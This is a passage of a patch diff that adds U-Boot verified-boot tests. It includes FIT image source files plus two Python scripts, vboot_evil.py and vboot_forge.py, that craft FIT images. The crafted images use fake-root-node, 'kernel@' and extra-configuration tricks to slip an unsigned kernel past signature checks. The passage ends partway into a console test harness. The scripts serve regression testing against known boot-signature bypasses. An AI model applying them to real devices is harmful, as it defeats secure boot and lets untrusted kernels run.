+ key-name-hint = "dev";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ signature {
+ algo = "sha256,rsa2048";
+ padding = "pss";
+ key-name-hint = "dev";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sign-images-sha256.its b/test/py/tests/vboot/sign-images-sha256.its
new file mode 100644
index 00000000000..bb0f8ee8a66
--- /dev/null
+++ b/test/py/tests/vboot/sign-images-sha256.its
@@ -0,0 +1,42 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ signature {
+ algo = "sha256,rsa2048";
+ key-name-hint = "dev";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ signature {
+ algo = "sha256,rsa2048";
+ key-name-hint = "dev";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sign-images-sha384.its b/test/py/tests/vboot/sign-images-sha384.its
new file mode 100644
index 00000000000..be1a9a653c7
--- /dev/null
+++ b/test/py/tests/vboot/sign-images-sha384.its
@@ -0,0 +1,42 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ signature {
+ algo = "sha384,rsa3072";
+ key-name-hint = "dev";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ signature {
+ algo = "sha384,rsa3072";
+ key-name-hint = "dev";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ };
+ };
+};
diff --git a/test/py/tests/vboot/simple-images.its b/test/py/tests/vboot/simple-images.its
new file mode 100644
index 00000000000..f62786456b8
--- /dev/null
+++ b/test/py/tests/vboot/simple-images.its
@@ -0,0 +1,36 @@
+// SPDX-License-Identifier: GPL-2.0+
+
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ };
+ };
+};
diff --git a/test/py/tests/vboot_evil.py b/test/py/tests/vboot_evil.py
new file mode 100644
index 00000000000..e2b0cd65468
--- /dev/null
+++ b/test/py/tests/vboot_evil.py
@@ -0,0 +1,486 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2020, Intel Corporation
+
+"""Modifies a devicetree to add a fake root node, for testing purposes"""
+
+import hashlib
+import struct
+import sys
+
+FDT_PROP = 0x3
+FDT_BEGIN_NODE = 0x1
+FDT_END_NODE = 0x2
+FDT_END = 0x9
+
+FAKE_ROOT_ATTACK = 0
+KERNEL_AT = 1
+
+MAGIC = 0xd00dfeed
+
+EVIL_KERNEL_NAME = b'evil_kernel'
+FAKE_ROOT_NAME = b'f@keroot'
+
+
+def getstr(dt_strings, off):
+ """Get a string from the devicetree string table
+
+ Args:
+ dt_strings (bytes): Devicetree strings section
+ off (int): Offset of string to read
+
+ Returns:
+ str: String read from the table
+ """
+ output = ''
+ while dt_strings[off]:
+ output += chr(dt_strings[off])
+ off += 1
+
+ return output
+
+
+def align(offset):
+ """Align an offset to a multiple of 4
+
+ Args:
+ offset (int): Offset to align
+
+ Returns:
+ int: Resulting aligned offset (rounds up to nearest multiple)
+ """
+ return (offset + 3) & ~3
+
+
+def determine_offset(dt_struct, dt_strings, searched_node_name):
+ """Determines the offset of an element, either a node or a property
+
+ Args:
+ dt_struct (bytes): Devicetree struct section
+ dt_strings (bytes): Devicetree strings section
+ searched_node_name (str): element path, ex: /images/kernel@1/data
+
+ Returns:
+ tuple: (node start offset, node end offset)
+ if element is not found, returns (None, None)
+ """
+ offset = 0
+ depth = -1
+
+ path = '/'
+
+ object_start_offset = None
+ object_end_offset = None
+ object_depth = None
+
+ while offset < len(dt_struct):
+ (tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
+
+ if tag == FDT_BEGIN_NODE:
+ depth += 1
+
+ begin_node_offset = offset
+ offset += 4
+
+ node_name = getstr(dt_struct, offset)
+ offset += len(node_name) + 1
+ offset = align(offset)
+
+ if path[-1] != '/':
+ path += '/'
+
+ path += str(node_name)
+
+ if path == searched_node_name:
+ object_start_offset = begin_node_offset
+ object_depth = depth
+
+ elif tag == FDT_PROP:
+ begin_prop_offset = offset
+
+ offset += 4
+ len_tag, nameoff = struct.unpack('>II',
+ dt_struct[offset:offset + 8])
+ offset += 8
+ prop_name = getstr(dt_strings, nameoff)
+
+ len_tag = align(len_tag)
+
+ offset += len_tag
+
+ node_path = path + '/' + str(prop_name)
+
+ if node_path == searched_node_name:
+ object_start_offset = begin_prop_offset
+
+ elif tag == FDT_END_NODE:
+ offset += 4
+
+ path = path[:path.rfind('/')]
+ if not path:
+ path = '/'
+
+ if depth == object_depth:
+ object_end_offset = offset
+ break
+ depth -= 1
+ elif tag == FDT_END:
+ break
+
+ else:
+ print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset))
+ break
+
+ return object_start_offset, object_end_offset
+
+
+def modify_node_name(dt_struct, node_offset, replcd_name):
+ """Change the name of a node
+
+ Args:
+ dt_struct (bytes): Devicetree struct section
+ node_offset (int): Offset of node
+ replcd_name (str): New name for node
+
+ Returns:
+ bytes: New dt_struct contents
+ """
+
+ # skip 4 bytes for the FDT_BEGIN_NODE
+ node_offset += 4
+
+ node_name = getstr(dt_struct, node_offset)
+ node_name_len = len(node_name) + 1
+
+ node_name_len = align(node_name_len)
+
+ replcd_name += b'\0'
+
+ # align on 4 bytes
+ while len(replcd_name) % 4:
+ replcd_name += b'\0'
+
+ dt_struct = (dt_struct[:node_offset] + replcd_name +
+ dt_struct[node_offset + node_name_len:])
+
+ return dt_struct
+
+
+def modify_prop_content(dt_struct, prop_offset, content):
+ """Overwrite the value of a property
+
+ Args:
+ dt_struct (bytes): Devicetree struct section
+ prop_offset (int): Offset of property (FDT_PROP tag)
+ content (bytes): New content for the property
+
+ Returns:
+ bytes: New dt_struct contents
+ """
+ # skip FDT_PROP
+ prop_offset += 4
+ (len_tag, nameoff) = struct.unpack('>II',
+ dt_struct[prop_offset:prop_offset + 8])
+
+ # compute padded original node length
+ original_node_len = len_tag + 8 # content length + prop meta data len
+
+ original_node_len = align(original_node_len)
+
+ added_data = struct.pack('>II', len(content), nameoff)
+ added_data += content
+ while len(added_data) % 4:
+ added_data += b'\0'
+
+ dt_struct = (dt_struct[:prop_offset] + added_data +
+ dt_struct[prop_offset + original_node_len:])
+
+ return dt_struct
+
+
+def change_property_value(dt_struct, dt_strings, prop_path, prop_value,
+ required=True):
+ """Change a given property value
+
+ Args:
+ dt_struct (bytes): Devicetree struct section
+ dt_strings (bytes): Devicetree strings section
+ prop_path (str): full path of the target property
+ prop_value (bytes): new property name
+ required (bool): raise an exception if property not found
+
+ Returns:
+ bytes: New dt_struct contents
+
+ Raises:
+ ValueError: if the property is not found
+ """
+ (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
+ if rt_node_start is None:
+ if not required:
+ return dt_struct
+ raise ValueError('Fatal error, unable to find prop %s' % prop_path)
+
+ dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value)
+
+ return dt_struct
+
+def change_node_name(dt_struct, dt_strings, node_path, node_name):
+ """Change a given node name
+
+ Args:
+ dt_struct (bytes): Devicetree struct section
+ dt_strings (bytes): Devicetree strings section
+ node_path (str): full path of the target node
+ node_name (str): new node name, just node name not full path
+
+ Returns:
+ bytes: New dt_struct contents
+
+ Raises:
+ ValueError: if the node is not found
+ """
+ (rt_node_start, rt_node_end) = (
+ determine_offset(dt_struct, dt_strings, node_path))
+ if rt_node_start is None or rt_node_end is None:
+ raise ValueError('Fatal error, unable to find root node')
+
+ dt_struct = modify_node_name(dt_struct, rt_node_start, node_name)
+
+ return dt_struct
+
+def get_prop_value(dt_struct, dt_strings, prop_path):
+ """Get the content of a property based on its path
+
+ Args:
+ dt_struct (bytes): Devicetree struct section
+ dt_strings (bytes): Devicetree strings section
+ prop_path (str): full path of the target property
+
+ Returns:
+ bytes: Property value
+
+ Raises:
+ ValueError: if the property is not found
+ """
+ (offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
+ if offset is None:
+ raise ValueError('Fatal error, unable to find prop')
+
+ offset += 4
+ (len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
+
+ offset += 8
+ tag_data = dt_struct[offset:offset + len_tag]
+
+ return tag_data
+
+
+def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
+ """Conduct the kernel@ attack
+
+ It fetches from /configurations/default the name of the kernel being loaded.
+ Then, if the kernel name does not contain any @sign, duplicates the kernel
+ in /images node and appends '@evil' to its name.
+ It inserts a new kernel content and updates its images digest.
+
+ Inputs:
+ - FIT dt_struct
+ - FIT dt_strings
+ - kernel content blob
+ - kernel hash blob
+
+ Important note: it assumes the U-Boot loading method is 'kernel' and the
+ loaded kernel hash's subnode name is 'hash-1'
+ """
+
+ # retrieve the default configuration name
+ default_conf_name = get_prop_value(
+ dt_struct, dt_strings, '/configurations/default')
+ default_conf_name = str(default_conf_name[:-1], 'utf-8')
+
+ conf_path = '/configurations/' + default_conf_name
+
+ # fetch the loaded kernel name from the default configuration
+ loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
+
+ loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
+
+ if loaded_kernel.find('@') != -1:
+ print('kernel@ attack does not work on nodes already containing an @ sign!')
+ sys.exit()
+
+ # determine boundaries of the loaded kernel
+ (krn_node_start, krn_node_end) = (determine_offset(
+ dt_struct, dt_strings, '/images/' + loaded_kernel))
+ if krn_node_start is None and krn_node_end is None:
+ print('Fatal error, unable to find root node')
+ sys.exit()
+
+ # copy the loaded kernel
+ loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end]
+
+ # insert the copy inside the tree
+ dt_struct = dt_struct[:krn_node_start] + \
+ loaded_kernel_copy + dt_struct[krn_node_start:]
+
+ evil_kernel_name = loaded_kernel+'@evil'
+
+ # change the inserted kernel name
+ dt_struct = change_node_name(
+ dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))
+
+ # change the content of the kernel being loaded
+ dt_struct = change_property_value(
+ dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)
+
+ # change the content of the kernel being loaded
+ dt_struct = change_property_value(
+ dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)
+
+ return dt_struct
+
+
+def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest):
+ """Conduct the fakenode attack
+
+ It duplicates the original root node at the beginning of the tree.
+ Then it modifies within this duplicated tree:
+ - The loaded kernel name
+ - The loaded kernel data
+
+ Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel
+ hash's subnode name is hash@1
+ """
+
+ # retrieve the default configuration name
+ default_conf_name = get_prop_value(
+ dt_struct, dt_strings, '/configurations/default')
+ default_conf_name = str(default_conf_name[:-1], 'utf-8')
+
+ conf_path = '/configurations/'+default_conf_name
+
+ # fetch the loaded kernel name from the default configuration
+ loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
+
+ loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
+
+ # determine root node start and end:
+ (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
+ if (rt_node_start is None) or (rt_node_end is None):
+ print('Fatal error, unable to find root node')
+ sys.exit()
+
+ # duplicate the whole tree
+ duplicated_node = dt_struct[rt_node_start:rt_node_end]
+
+ # dchange root name (empty name) to fake root name
+ new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME)
+
+ dt_struct = new_dup + dt_struct
+
+ # change the value of /<fake_root_name>/configs/<default_config_name>/kernel
+ # so our modified kernel will be loaded
+ base = '/' + str(FAKE_ROOT_NAME, 'utf-8')
+ value_path = base + conf_path+'/kernel'
+ dt_struct = change_property_value(dt_struct, dt_strings, value_path,
+ EVIL_KERNEL_NAME + b'\0')
+
+ # change the node of the /<fake_root_name>/images/<original_kernel_name>
+ images_path = base + '/images/'
+ node_path = images_path + loaded_kernel
+ dt_struct = change_node_name(dt_struct, dt_strings, node_path,
+ EVIL_KERNEL_NAME)
+
+ # change the content of the kernel being loaded
+ data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data'
+ dt_struct = change_property_value(dt_struct, dt_strings, data_path,
+ kernel_content, required=False)
+
+ # update the digest value
+ hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value'
+ dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
+ kernel_digest)
+
+ return dt_struct
+
+def add_evil_node(in_fname, out_fname, kernel_fname, attack):
+ """Add an evil node to the devicetree
+
+ Args:
+ in_fname (str): Filename of input devicetree
+ out_fname (str): Filename to write modified devicetree to
+ kernel_fname (str): Filename of kernel data to add to evil node
+ attack (str): Attack type ('fakeroot' or 'kernel@')
+
+ Raises:
+ ValueError: Unknown attack name
+ """
+ if attack == 'fakeroot':
+ attack = FAKE_ROOT_ATTACK
+ elif attack == 'kernel@':
+ attack = KERNEL_AT
+ else:
+ raise ValueError('Unknown attack name!')
+
+ with open(in_fname, 'rb') as fin:
+ input_data = fin.read()
+
+ hdr = input_data[0:0x28]
+
+ offset = 0
+ magic = struct.unpack('>I', hdr[offset:offset + 4])[0]
+ if magic != MAGIC:
+ raise ValueError('Wrong magic!')
+
+ offset += 4
+ (totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version,
+ last_comp_version, boot_cpuid_phys, size_dt_strings,
+ size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36])
+
+ rsv_map = input_data[off_mem_rsvmap:off_dt_struct]
+ dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct]
+ dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings]
+
+ with open(kernel_fname, 'rb') as kernel_file:
+ kernel_content = kernel_file.read()
+
+ # computing inserted kernel hash
+ val = hashlib.sha1()
+ val.update(kernel_content)
+ hash_digest = val.digest()
+
+ if attack == FAKE_ROOT_ATTACK:
+ dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
+ hash_digest)
+ elif attack == KERNEL_AT:
+ dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
+ hash_digest)
+
+ # now rebuild the new file
+ size_dt_strings = len(dt_strings)
+ size_dt_struct = len(dt_struct)
+ totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings
+ off_mem_rsvmap = 0x28
+ off_dt_struct = off_mem_rsvmap + len(rsv_map)
+ off_dt_strings = off_dt_struct + len(dt_struct)
+
+ header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct,
+ off_dt_strings, off_mem_rsvmap, version,
+ last_comp_version, boot_cpuid_phys, size_dt_strings,
+ size_dt_struct)
+
+ with open(out_fname, 'wb') as output_file:
+ output_file.write(header)
+ output_file.write(rsv_map)
+ output_file.write(dt_struct)
+ output_file.write(dt_strings)
+
+if __name__ == '__main__':
+ if len(sys.argv) != 5:
+ print('usage: %s <input_filename> <output_filename> <kernel_binary> <attack_name>' %
+ sys.argv[0])
+ print('valid attack names: [fakeroot, kernel@]')
+ sys.exit(1)
+
+ in_fname, out_fname, kernel_fname, attack = sys.argv[1:]
+ add_evil_node(in_fname, out_fname, kernel_fname, attack)
diff --git a/test/py/tests/vboot_forge.py b/test/py/tests/vboot_forge.py
new file mode 100644
index 00000000000..b41105bd0e3
--- /dev/null
+++ b/test/py/tests/vboot_forge.py
@@ -0,0 +1,423 @@
+#!/usr/bin/python3
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2020, F-Secure Corporation, https://foundry.f-secure.com
+#
+# pylint: disable=E1101,W0201,C0103
+
+"""
+Verified boot image forgery tools and utilities
+
+This module provides services to both take apart and regenerate FIT images
+in a way that preserves all existing verified boot signatures, unless you
+manipulate nodes in the process.
+"""
+
+import struct
+import binascii
+from io import BytesIO
+
+#
+# struct parsing helpers
+#
+
+class BetterStructMeta(type):
+ """
+ Preprocesses field definitions and creates a struct.Struct instance from them
+ """
+ def __new__(cls, clsname, superclasses, attributedict):
+ if clsname != 'BetterStruct':
+ fields = attributedict['__fields__']
+ field_types = [_[0] for _ in fields]
+ field_names = [_[1] for _ in fields if _[1] is not None]
+ attributedict['__names__'] = field_names
+ s = struct.Struct(attributedict.get('__endian__', '') + ''.join(field_types))
+ attributedict['__struct__'] = s
+ attributedict['size'] = s.size
+ return type.__new__(cls, clsname, superclasses, attributedict)
+
+class BetterStruct(metaclass=BetterStructMeta):
+ """
+ Base class for better structures
+ """
+ def __init__(self):
+ for t, n in self.__fields__:
+ if 's' in t:
+ setattr(self, n, '')
+ elif t in ('Q', 'I', 'H', 'B'):
+ setattr(self, n, 0)
+
+ @classmethod
+ def unpack_from(cls, buffer, offset=0):
+ """
+ Unpack structure instance from a buffer
+ """
+ fields = cls.__struct__.unpack_from(buffer, offset)
+ instance = cls()
+ for n, v in zip(cls.__names__, fields):
+ setattr(instance, n, v)
+ return instance
+
+ def pack(self):
+ """
+ Pack structure instance into bytes
+ """
+ return self.__struct__.pack(*[getattr(self, n) for n in self.__names__])
+
+ def __str__(self):
+ items = ["'%s': %s" % (n, repr(getattr(self, n))) for n in self.__names__ if n is not None]
+ return '(' + ', '.join(items) + ')'
+
+#
+# some defs for flat DT data
+#
+
+class HeaderV17(BetterStruct):
+ __endian__ = '>'
+ __fields__ = [
+ ('I', 'magic'),
+ ('I', 'totalsize'),
+ ('I', 'off_dt_struct'),
+ ('I', 'off_dt_strings'),
+ ('I', 'off_mem_rsvmap'),
+ ('I', 'version'),
+ ('I', 'last_comp_version'),
+ ('I', 'boot_cpuid_phys'),
+ ('I', 'size_dt_strings'),
+ ('I', 'size_dt_struct'),
+ ]
+
+class RRHeader(BetterStruct):
+ __endian__ = '>'
+ __fields__ = [
+ ('Q', 'address'),
+ ('Q', 'size'),
+ ]
+
+class PropHeader(BetterStruct):
+ __endian__ = '>'
+ __fields__ = [
+ ('I', 'value_size'),
+ ('I', 'name_offset'),
+ ]
+
+# magical constants for DTB format
+OF_DT_HEADER = 0xd00dfeed
+OF_DT_BEGIN_NODE = 1
+OF_DT_END_NODE = 2
+OF_DT_PROP = 3
+OF_DT_END = 9
+
+class StringsBlock:
+ """
+ Represents a parsed device tree string block
+ """
+ def __init__(self, values=None):
+ if values is None:
+ self.values = []
+ else:
+ self.values = values
+
+ def __getitem__(self, at):
+ if isinstance(at, str):
+ offset = 0
+ for value in self.values:
+ if value == at:
+ break
+ offset += len(value) + 1
+ else:
+ self.values.append(at)
+ return offset
+
+ if isinstance(at, int):
+ offset = 0
+ for value in self.values:
+ if offset == at:
+ return value
+ offset += len(value) + 1
+ raise IndexError('no string found corresponding to the given offset')
+
+ raise TypeError('only strings and integers are accepted')
+
+class Prop:
+ """
+ Represents a parsed device tree property
+ """
+ def __init__(self, name=None, value=None):
+ self.name = name
+ self.value = value
+
+ def clone(self):
+ return Prop(self.name, self.value)
+
+ def __repr__(self):
+ return "<Prop(name='%s', value=%s>" % (self.name, repr(self.value))
+
+class Node:
+ """
+ Represents a parsed device tree node
+ """
+ def __init__(self, name=None):
+ self.name = name
+ self.props = []
+ self.children = []
+
+ def clone(self):
+ o = Node(self.name)
+ o.props = [x.clone() for x in self.props]
+ o.children = [x.clone() for x in self.children]
+ return o
+
+ def __getitem__(self, index):
+ return self.children[index]
+
+ def __repr__(self):
+ return "<Node('%s'), %s, %s>" % (self.name, repr(self.props), repr(self.children))
+
+#
+# flat DT to memory
+#
+
+def parse_strings(strings):
+ """
+ Converts the bytes into a StringsBlock instance so it is convenient to work with
+ """
+ strings = strings.split(b'\x00')
+ return StringsBlock(strings)
+
+def parse_struct(stream):
+ """
+ Parses DTB structure(s) into a Node or Prop instance
+ """
+ tag = bytearray(stream.read(4))[3]
+ if tag == OF_DT_BEGIN_NODE:
+ name = b''
+ while b'\x00' not in name:
+ name += stream.read(4)
+ name = name.rstrip(b'\x00')
+ node = Node(name)
+
+ item = parse_struct(stream)
+ while item is not None:
+ if isinstance(item, Node):
+ node.children.append(item)
+ elif isinstance(item, Prop):
+ node.props.append(item)
+ item = parse_struct(stream)
+
+ return node
+
+ if tag == OF_DT_PROP:
+ h = PropHeader.unpack_from(stream.read(PropHeader.size))
+ length = (h.value_size + 3) & (~3)
+ value = stream.read(length)[:h.value_size]
+ prop = Prop(h.name_offset, value)
+ return prop
+
+ if tag in (OF_DT_END_NODE, OF_DT_END):
+ return None
+
+ raise ValueError('unexpected tag value')
+
+def read_fdt(fp):
+ """
+ Reads and parses the flattened device tree (or derivatives like FIT)
+ """
+ header = HeaderV17.unpack_from(fp.read(HeaderV17.size))
+ if header.magic != OF_DT_HEADER:
+ raise ValueError('invalid magic value %08x; expected %08x' % (header.magic, OF_DT_HEADER))
+ # TODO: read/parse reserved regions
+ fp.seek(header.off_dt_struct)
+ structs = fp.read(header.size_dt_struct)
+ fp.seek(header.off_dt_strings)
+ strings = fp.read(header.size_dt_strings)
+ strblock = parse_strings(strings)
+ root = parse_struct(BytesIO(structs))
+
+ return root, strblock
+
+#
+# memory to flat DT
+#
+
+def compose_structs_r(item):
+ """
+ Recursive part of composing Nodes and Props into a bytearray
+ """
+ t = bytearray()
+
+ if isinstance(item, Node):
+ t.extend(struct.pack('>I', OF_DT_BEGIN_NODE))
+ if isinstance(item.name, str):
+ item.name = bytes(item.name, 'utf-8')
+ name = item.name + b'\x00'
+ if len(name) & 3:
+ name += b'\x00' * (4 - (len(name) & 3))
+ t.extend(name)
+ for p in item.props:
+ t.extend(compose_structs_r(p))
+ for c in item.children:
+ t.extend(compose_structs_r(c))
+ t.extend(struct.pack('>I', OF_DT_END_NODE))
+
+ elif isinstance(item, Prop):
+ t.extend(struct.pack('>I', OF_DT_PROP))
+ value = item.value
+ h = PropHeader()
+ h.name_offset = item.name
+ if value:
+ h.value_size = len(value)
+ t.extend(h.pack())
+ if len(value) & 3:
+ value += b'\x00' * (4 - (len(value) & 3))
+ t.extend(value)
+ else:
+ h.value_size = 0
+ t.extend(h.pack())
+
+ return t
+
+def compose_structs(root):
+ """
+ Composes the parsed Nodes into a flat bytearray instance
+ """
+ t = compose_structs_r(root)
+ t.extend(struct.pack('>I', OF_DT_END))
+ return t
+
+def compose_strings(strblock):
+ """
+ Composes the StringsBlock instance back into a bytearray instance
+ """
+ b = bytearray()
+ for s in strblock.values:
+ b.extend(s)
+ b.append(0)
+ return bytes(b)
+
+def write_fdt(root, strblock, fp):
+ """
+ Writes out a complete flattened device tree (or FIT)
+ """
+ header = HeaderV17()
+ header.magic = OF_DT_HEADER
+ header.version = 17
+ header.last_comp_version = 16
+ fp.write(header.pack())
+
+ header.off_mem_rsvmap = fp.tell()
+ fp.write(RRHeader().pack())
+
+ structs = compose_structs(root)
+ header.off_dt_struct = fp.tell()
+ header.size_dt_struct = len(structs)
+ fp.write(structs)
+
+ strings = compose_strings(strblock)
+ header.off_dt_strings = fp.tell()
+ header.size_dt_strings = len(strings)
+ fp.write(strings)
+
+ header.totalsize = fp.tell()
+
+ fp.seek(0)
+ fp.write(header.pack())
+
+#
+# pretty printing / converting to DT source
+#
+
+def as_bytes(value):
+ return ' '.join(["%02X" % x for x in value])
+
+def prety_print_value(value):
+ """
+ Formats a property value as appropriate depending on the guessed data type
+ """
+ if not value:
+ return '""'
+ if value[-1] == b'\x00':
+ printable = True
+ for x in value[:-1]:
+ x = ord(x)
+ if x != 0 and (x < 0x20 or x > 0x7F):
+ printable = False
+ break
+ if printable:
+ value = value[:-1]
+ return ', '.join('"' + x + '"' for x in value.split(b'\x00'))
+ if len(value) > 0x80:
+ return '[' + as_bytes(value[:0x80]) + ' ... ]'
+ return '[' + as_bytes(value) + ']'
+
+def pretty_print_r(node, strblock, indent=0):
+ """
+ Prints out a single node, recursing further for each of its children
+ """
+ spaces = ' ' * indent
+ print((spaces + '%s {' % (node.name.decode('utf-8') if node.name else '/')))
+ for p in node.props:
+ print((spaces + ' %s = %s;' % (strblock[p.name].decode('utf-8'), prety_print_value(p.value))))
+ for c in node.children:
+ pretty_print_r(c, strblock, indent+1)
+ print((spaces + '};'))
+
+def pretty_print(node, strblock):
+ """
+ Generates an almost-DTS formatted printout of the parsed device tree
+ """
+ print('/dts-v1/;')
+ pretty_print_r(node, strblock, 0)
+
+#
+# manipulating the DT structure
+#
+
+def manipulate(root, strblock):
+ """
+ Maliciously manipulates the structure to create a crafted FIT file
+ """
+ # locate /images/kernel-1 (frankly, it just expects it to be the first one)
+ kernel_node = root[0][0]
+ # clone it to save time filling all the properties
+ fake_kernel = kernel_node.clone()
+ # rename the node
+ fake_kernel.name = b'kernel-2'
+ # get rid of signatures/hashes
+ fake_kernel.children = []
+ # NOTE: this simply replaces the first prop... either description or data
+ # should be good for testing purposes
+ fake_kernel.props[0].value = b'Super 1337 kernel\x00'
+ # insert the new kernel node under /images
+ root[0].children.append(fake_kernel)
+
+ # modify the default configuration
+ root[1].props[0].value = b'conf-2\x00'
+ # clone the first (only?) configuration
+ fake_conf = root[1][0].clone()
+ # rename and change kernel and fdt properties to select the crafted kernel
+ fake_conf.name = b'conf-2'
+ fake_conf.props[0].value = b'kernel-2\x00'
+ fake_conf.props[1].value = b'fdt-1\x00'
+ # insert the new configuration under /configurations
+ root[1].children.append(fake_conf)
+
+ return root, strblock
+
+def main(argv):
+ with open(argv[1], 'rb') as fp:
+ root, strblock = read_fdt(fp)
+
+ print("Before:")
+ pretty_print(root, strblock)
+
+ root, strblock = manipulate(root, strblock)
+ print("After:")
+ pretty_print(root, strblock)
+
+ with open('blah', 'w+b') as fp:
+ write_fdt(root, strblock, fp)
+
+if __name__ == '__main__':
+ import sys
+ main(sys.argv)
+# EOF
diff --git a/test/py/u_boot_console_base.py b/test/py/u_boot_console_base.py
new file mode 100644
index 00000000000..3e01be11029
--- /dev/null
+++ b/test/py/u_boot_console_base.py
@@ -0,0 +1,508 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Common logic to interact with U-Boot via the console. This class provides
+# the interface that tests use to execute U-Boot shell commands and wait for
+# their results. Sub-classes exist to perform board-type-specific setup
+# operations, such as spawning a sub-process for Sandbox, or attaching to the
+# serial console of real hardware.
+
+import multiplexed_log
+import os
+import pytest
+import re
+import sys
+import u_boot_spawn
+
+# Regexes for text we expect U-Boot to send to the console.
+pattern_u_boot_spl_signon = re.compile('(U-Boot SPL \\d{4}\\.\\d{2}[^\r\n]*\\))')
+pattern_u_boot_main_signon = re.compile('(U-Boot \\d{4}\\.\\d{2}[^\r\n]*\\))')
+pattern_stop_autoboot_prompt = re.compile('Hit any key to stop autoboot: ')
+pattern_unknown_command = re.compile('Unknown command \'.*\' - try \'help\'')
+pattern_error_notification = re.compile('## Error: ')
+pattern_error_please_reset = re.compile('### ERROR ### Please RESET the board ###')
+
+PAT_ID = 0
+PAT_RE = 1
+
+bad_pattern_defs = (
+ ('spl_signon', pattern_u_boot_spl_signon),
+ ('main_signon', pattern_u_boot_main_signon),
+ ('stop_autoboot_prompt', pattern_stop_autoboot_prompt),
+ ('unknown_command', pattern_unknown_command),
+ ('error_notification', pattern_error_notification),
+ ('error_please_reset', pattern_error_please_reset),
+)
+
+class ConsoleDisableCheck(object):
+ """Context manager (for Python's with statement) that temporarily disables
+ the specified console output error check. This is useful when deliberately
+ executing a command that is known to trigger one of the error checks, in
+ order to test that the error condition is actually raised. This class is
+ used internally by ConsoleBase::disable_check(); it is not intended for
+ direct usage."""
+
+ def __init__(self, console, check_type):
+ self.console = console
+ self.check_type = check_type
+
+ def __enter__(self):
+ self.console.disable_check_count[self.check_type] += 1
+ self.console.eval_bad_patterns()
+
+ def __exit__(self, extype, value, traceback):
+ self.console.disable_check_count[self.check_type] -= 1
+ self.console.eval_bad_patterns()
+
+class ConsoleSetupTimeout(object):
+ """Context manager (for Python's with statement) that temporarily sets up
+ timeout for specific command. This is useful when execution time is greater
+ then default 30s."""
+
+ def __init__(self, console, timeout):
+ self.p = console.p
